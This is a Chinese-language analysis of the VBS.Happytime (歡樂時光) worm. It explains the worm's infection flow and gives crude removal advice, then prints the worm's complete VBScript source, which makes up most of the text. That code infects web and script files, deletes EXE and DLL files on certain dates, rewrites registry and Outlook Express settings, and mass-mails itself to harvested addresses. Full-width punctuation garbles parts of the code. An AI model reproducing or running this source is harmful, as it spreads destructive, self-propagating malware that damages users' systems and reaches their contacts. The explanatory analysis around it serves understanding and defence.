病毒特點
簡介
VBS.happytime病毒危害程度很大，可以破壞 html、htm、htt、vbs 和 asp 檔案的內容（被修改成病毒代碼）；大量散發病毒郵件， 破壞 Windows 資源管理器中預設的 Web 視圖等。
高破壞性
這種病毒是用VBSCRIPT語言編寫的，其第一行寫著 I am sorry， happy time.（意為對不起您了，歡樂時光。真是氣死人不償命！惡作劇的混蛋口說"Sorry"祝人"歡樂"？！） 本人不懂VBSCRIPT語言，但曾學過ⅥSUAL BASIC，再翻了一些VBSCRIPT的資料，一番臨時抱佛腳後，開始解讀病毒源程式。由於缺乏相應資料加之本人水平有限，不能讀懂每一行代碼，只能看出個大概，但我越分析越心驚，這是個僅瀏覽網站頁面就會感染的高傳染性，高破壞性的病毒！
發病機制
先看一下此病毒的發病機制：
網頁染毒感染系統檔案
首次染毒時，會將WINDOWS \ WEB資料夾里的所有網頁檔案染上病毒，並找出這些檔案中的任何EMAIL地址向它們傳送病毒郵件，對方只要一打開即會染毒；以後每隔十秒鐘發作一次，但發作完後仍駐留在記憶體，十秒一次的發作，再大的記憶體也會給蠶食殆盡；每次發作時，在普通的日子裡，會找出一個後綴名為HTML、HTM、VBS、ASP的檔案傳染（別小看了每次一個檔案，它可是十秒一次的發作喲！），並查出此檔案中所有的EMAIL地址傳送病毒郵件，在月份加天數為13的"特殊"日子裡（1月12日、2月11日......12月1日），它每次發作會找出一個後綴名為EXE、DLL的檔案（通常為重要的系統檔案）來刪除，使你的電腦徹底癱瘓；
發作
該病毒在WINDOWS註冊表內保存已發作的次數，每次發作時它檢查已發作次數，如其是366的倍數，則向外亂髮病毒郵件：如系統時間的秒數是偶數，則傳送系統郵件，如是奇數，則到OUTLOOK的默任目錄里取得EMAIL地址傳送病毒郵件。
順便說一句，由於此病毒發作頻繁且亂髮EMAIL，到月底結帳時，你可能要多付一大筆冤枉錢。
架構
現在我們來看看這可惡的病毒的結構，看它是如何使得我們在瀏覽網頁時即染毒的。
前面提到過，該病毒是用VBSCRIPT語言寫成的，翻了一些資料，才知道VBSCRIPT是一種能增強網頁功能的腳本語言，它嵌入HTML檔案中，你瀏覽網頁時，它也與HTML檔案一起調入記憶體，由瀏覽器解釋並執行。所以在你看到網頁時，它其中所含的VBSCRIPT代碼（如果有的話）已被執行，這樣就很容易被心懷叵測者用來編制破壞程式。VBSCRIPT的設計者們也考慮到了這點，因此VBSCRIPT被設計成ⅥSUAL BASIC的簡化版，捨棄了一些"危險的"語句命令，所以VBSCRIPT是"安全的"，可用於網頁的編制。確實光是VBSCRIPT的話確實無甚威脅，可是VBSCRIPT提供了創建並使用對象（OBJECT）功能，而WINDOWS提供大量對象給各種語言使用，利用這些對象你幾乎能幹任何事！比如說本病毒的許多破壞工作就是由創建並使用WSCRIPT（WINDOWS SCRIPT即WINDOWS腳本語言）對象來完成的，所以可以這樣說：VBSCRIPT是不安全的，是危險的！歡樂時光病毒就是個最有力的見證！
言歸正傳，我們還是來看看病毒的結構。
初始化部分
初始化（建立SCRIPTLET.TYPELIB對象等）
↓
當前是HTML狀態？
是 ↙ ↘ 否
━━━━━━ ━━━━━━━
↓ ↓
在WINDOWS目錄下有HELP.VBS檔案嗎？ 運行主發作程式
↓
有 ↙ ↘ 無
━━━ ━━━━━━━
↓ ⑶ ↓ ⑴
設定為每10秒鐘調用一次 將本檔案中的病毒代碼以HTML格式存為
HELP.VBS WINDOWS目錄下的HELP.HTA檔案，並調用HELP.HTA。
結束 結束
主發作程式
↓
建立含有HTML，VBS，HTM，ASP的 後綴名表
當前是HELP.VBS運行狀態？
⑷ 是 ↙ ↘ 否 ⑵
━━━━━━ ━━━━━━━
↓ ↓
如月+天為13則將後綴名表改為 用本病毒代碼在WINDOWS目錄下創
只包含EXE，DLL； 建HELP.VBS檔案，及UNTITLE.HTM
檔案；
將註冊表中的HKEY_CURRENT_USER
Software\Help\Count病毒發作計數加1； 修改HKEY_CURRENT_USER\Identities
\用戶標識號\Software\Microsoft
\look Express\5.0\Mail\下的鍵值：
Software\Help\File_Name待感染檔案名稱 Message Send HTML改為1
取出，並按後綴名表找出下一待感染檔案， Compose Use Stationery改為1
存於此處； Stationery Name改為指向 untitle.htm
查出其中的EMAIL地址傳送病毒郵件； 在WINDOWS\WEB目錄下查找HTML，VBS，
HTM，ASP，HTT檔案，在它們末尾如待
感染檔案名稱是EXE，DLL檔案則刪除！
末尾添加本病毒代碼，並查出其中的
EMAIL地址傳送病毒郵件
用本病毒代碼在WINDOWS目錄下創建一個HTM檔案並將其檔案名稱寫入HKEY_CURRENT_USER\Software\Help\Wallpaper及HKEY_CURRENT_USER\Control Panel\desktop\wallPaper
以上流程基本解釋了其發病機制，現在我對流程上()內的數字作一下說明：
一系列破壞任務
剛開始接觸本病毒時，我們一定是處於瀏覽含病毒的網頁狀態，也即是流程上的HTML狀態，且此時硬碟上尚未有HELP.VBS病毒檔案，所以病毒執行⑴分支，建立HELP.HTA病毒檔案，並調用它。然後在HELP.HTA病毒檔案運行時，此時它已不處於HTML狀態，所以運行主發作程式，在主發作程式中，由於此時不是HELP.VBS運行狀態所以運行⑵分支並建立HELP.VBS病毒檔案，以後再遇見本病毒時，由於已有了HELP.VBS病毒檔案，就執行⑶分支，設定為每10秒鐘執行一次HELP.VBS，而HELP.VBS會執行主發作程式的⑷分支，完成一系列破壞任務。
防禦此病毒
聽說現在已有了能殺此病毒的軟體，具體我也不清楚。如你像我一樣已不幸染毒，在得到防毒軟體前，首先應注意在"特殊"日子裡不要開機，以免愛機成為當機；另外從流程可看出，本病毒只感染後綴名為HTM，HTML，VBS，ASP（以及WINDOWS\WEB下的HTT檔案），所以你開機只至WINDOWS桌面出現都是安全的，把桌面的牆紙設為無，再次重新啟動，注意不要使用我的電腦或是WINDOWS資源管理器，因為它們每次運行都要裝入許多檔案，極有可能激活病毒，你要處理文檔最好進入DOS狀態，在DOS下操作；注意不要看任何幫助信息，因為很多幫助檔案都是HTML格式的。如你是編程好手，你可編個程式，檢查硬碟中所有受感染後綴名為HTM，HTML，VBS，ASP的檔案，並清除病毒，如你不會編程，又無防毒軟體，你只能用查找功能查出所有後綴名為HTM，HTML，VBS，ASP的檔案，然後一一手工操作：重命名為TXT檔案，打開檢查，如檔案尾有病毒則刪除，保存後再改回原來的檔案名稱，然後是下一個.......
安全第一
但我們還要上網，還要瀏覽，即使我們有了能殺歡樂時光病毒的軟體，誰能保證哪個傢伙不會再寫出諸如此類的病毒使我們受害？看來只有等微軟出個能禁止VBSCRIPT，JAVASCRIPT，ACTⅣE X........的瀏覽器來了。就我個人而言，情願不要任何特效，只要安全。
源程式
最後，奉上歡樂時光病毒的源程式，供有興趣者參考，如哪位高人能參透此程式，也請發表解析結果，讓我們對次類病毒有更深認識。
我對源程式作了必要的縮進處理，以方便閱讀。
歡樂時光病毒的源程式：
Rem I am sorry！ happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = ""
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath， "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m） = Right(mURL， Len(m）） Then
id = setTimeout("mclose()", 1）
main
Else
Os.Reset()
Os.Path = mPath &； "\" &； "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath， "Help.hta"
End If
End If
End If
Else
main
End If
End Sub
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER\Software\"
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile （"C:\help.htm")
End If
Key = CInt(Month(Date） + Day(Date))
If Key = 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn = Rg(Ks &； "Help\Count")
If Cn = "" Then
Cn = 1
End If
Rw Ks &； "Help\Count", Cn + 1
f1 = Rg(Ks &； "Help\FileName")
f2 = FNext(Of， Od， f1）
fext = GetExt(Of， Od， f2）
Rw Ks &； "Help\FileName", f2
If IsDel(fext） Then
f3 = f2
f2 = FNext(Of， Od， f2）
Rw Ks &； "Help\FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname） <>； LCase(f2） Then
Fw Of， f2， fext
End If
End If
If （CInt(Cn） Mod 366） = 0 Then
If （CInt(Second(Time）） Mod 2） = 0 Then
Tsend
Else
adds = Og
Msend （adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks &； "Help\wallPaper") <>； wp Or wp = "" Then
If wp = "" Then
n1 = ""
n3 = Cs &； "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs &； "\" &； n2 &； ".htm"
End If
Set pfc = Of.CreateTextFile(n3， True)
mt = Sa("1100")
pfc.Write "<" &； "HTML><" &； "body bgcolor=""#007f7f'' " &； n1 &； "''><" &； "/Body><" &； "/HTML>" &； mt
pfc.Close
Rw Ks &； "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
End If
Else
Set fc = Of.CreateTextFile(Ds &； "\Help.vbs", True)
fc.Write Sa("0100")
fc.Close
bf = Cs &； "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf， True)
fc2.Write Lhtml
fc2.Close
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" &； oeid &； "\Software\Microsoft\Outlook Express\5.0\Mail"
MSH = oe &； "\Message Send HTML"
CUS = oe &； "\Compose Use Stationery"
SN = oe &； "\Stationery Name"
Rw MSH， 1
Rw CUS， 1
Rw SN， bf
Web = Cs &； "\WEB"
Set gf = Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext = GetExt(Of， Od， m)
If fext <>； "" Then
Fw Of， m， fext
End If
Next
End If
End Sub
Sub mclose()
document.Write "<" &； "title>I am sorry!"
window.Close
End Sub
Sub Rt()
Dim mPath
On Error Resume Next
mPath = Grf()
Iv mPath， "Help.vbs"
End Sub
Function Sa(n)
Dim VBSText， m
VBSText = Lvbs()
If Mid(n， 3， 1） = 1 Then
m = ""
End If
If Mid(n， 2， 1） = 1 Then
m = VBSText
End If
If Mid(n， 1， 1） = 1 Then
m = Lscript(m)
End If
Sa = m &； vbCrLf
End Function
Sub Fw(Of， S， n)
Dim fc， fc2， m， mmail， mt
On Error Resume Next
Set fc = Of.OpenTextFile(S， 1）
mt = fc.ReadAll
fc.Close
If Not Sc(mt） Then
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S， 8）
fc2.Write mt
fc2.Close
Msend （mmail)
End If
End Sub
Function Sc(S)
mN = "Rem I am sorry！ happy time"
If InStr(S， mN） >； 0 Then
Sc = True
Else
Sc = False
End If
End Function
Function FNext(Of， Od， S)
Dim fpath， fname， fext， T， gf
On Error Resume Next
fname = ""
T = False
If Of.FileExists(S） Then
fpath = Of.GetFile(S).ParentFolder
fname = S
ElseIf Of.FolderExists(S） Then
fpath = S
T = True
Else
fpath = Dnext(Of， "")
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of， Od， m） <>； "" Then
FNext = m
Exit Function
End If
ElseIf LCase(m） = LCase(fname） Or fname = "" Then
T = True
End If
Next
fpath = Pnext(Of， fpath)
Loop
End Function
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath， Npath， gp， pn， T， m
T = False
If Of.FolderExists(S） Then
Set gp = Of.GetFolder(S).SubFolders
pn = gp.Count
If pn = 0 Then
Ppath = LCase(S)
Npath = LCase(Of.GetParentFolderName(S))
T = True
Else
Npath = LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T Then
If Ppath = LCase(pn） Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
Npath = Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
m = Of.GetDriveName(Ppath)
Pnext = Dnext(Of， m)
Exit Function
End If
Loop
End If
End Function
Function Dnext(Of， S)
Dim dc， n， d， T， m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
If T Then
Dnext = d
Exit Function
Else
If LCase(S） = LCase(d） Then
T = True
End If
If m = "" Then
m = d
End If
End If
End If
Next
Dnext = m
End Function
Function GetExt(Of， Od， S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
GetExt = Od.Item(fext)
End Function
Sub Rw(k， v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k， v
End Sub
Function Rg(v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
Rg = R.RegRead(v)
End Function
Function IsVbs()
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
IsVbs = False
Else
IsVbs = True
End If
End Function
Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
Else
IsHTML = True
End If
End Function
Function IsMail(S)
Dim m1， m2
IsMail = False
If InStr(S， vbCrLf） = 0 Then
m1 = InStr(S， "@")
m2 = InStr(S， ".")
If m1 <>； 0 And m1 <； m2 Then
IsMail = True
End If
End If
End Function
Function Lvbs()
Dim f， m， ws， Of
On Error Resume Next
If IsVbs Then
Set Of = CreateObject("Scripting.FileSystemObject")
Set f = Of.OpenTextFile(WScript.ScriptFullname， 1）
Lvbs = f.ReadAll
Else
For Each ws In document.scripts
If LCase(ws.Language） = "vbscript" Then
If Sc(ws.Text） Then
Lvbs = ws.Text
Exit Function
End If
End If
Next
End If
End Function
Function Iv(mPath， mName)
Dim Shell
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb
If Er Then
Iv = False
Else
Iv = True
End If
End Function
Function Grf()
Dim Shell， mPath
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
mPath = "C:\"
For Each mShell In Shell.NameSpace(mPath).Items
If mShell.IsFolder Then
Grf = mShell.Path
Exit Function
End If
Next
If Er Then
Grf = ""
End If
End Function
Function Gsf()
Dim Of， m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
m = Of.GetSpecialFolder(0)
If Er Then
Gsf = "C:\"
Else
Gsf = m
End If
End Function
Function Lhtml()
Lhtml = "<" &； "HTML" &； ">" &； vbCrLf &； _
"<" &； "Title>； Help <" &； "/HEAD>" &； vbCrLf &； _
"<" &； "Body>； " &； Lscript(Lvbs()） &； vbCrLf &； _
"<" &； "/Body>"
End Function
Function Lscript(S)
Lscript = "<" &； "script language=""VBScript''>" &； vbCrLf &； _
S &； "<" &； "/script" &； ">"
End Function
Function Sl(S1， S2， n)
Dim l1， l2， l3， i
l1 = Len(S1）
l2 = Len(S2）
i = InStr(S1, S2）
If i >； 0 Then
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1， i - 1）
ElseIf n = 1 Then
Sl = Right(S1， l1 - l3）
End If
Else
Sl = ""
End If
End Function
Function Ml(S)
Dim S1， S3， S2， T， adds， m
S1 = S
S3 = """"
adds = ""
S2 = S3 &； "mailto" &； ":"
T = True
Do While T
S1 = Sl(S1， S2， 1）
If S1 = "" Then
T = False
Else
m = Sl(S1， S3， 0)
If IsMail(m） Then
adds = adds &； m &； vbCrLf
End If
End If
Loop
Ml = Split(adds， vbCrLf)
End Function
Function Og()
Dim i， n， m()， Om， Oo
Set Oo = CreateObject("Outlook.Application")
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder⑽.Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1） = Om.Item(i).Email1Address
Next
Og = m
End Function
Sub Tsend()
Dim Od， MS， MM， a， m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS， MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a） = "" Then
Od.Item(a） = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw： " &； Od.Item(m)
MM.RecipAddress = m
MM.AttachmentPathName = Gsf &； "\Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub
Function MConnect(MS， MM)
Dim U
On Error Resume Next
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile")
MS.UserName = U
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
End Function
Sub Msend(Address)
Dim MS， MM， i， a
MConnect MS， MM
i = 0
MM.Compose
For Each a In Address
If IsMail(a） Then
MM.RecipIndex = i
MM.RecipAddress = a
i = i + 1
End If
Next
MM.MsgSubject = " Help "
MM.AttachmentPathName = Gsf &； "\Untitled.htm"
MM.Send
MS.SignOff
End Sub
Function Er()
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function
Function IsDel(S)
If Mid(S， 4， 1） = 1 Then
IsDel = True
Else
IsDel = False
End If
End Function
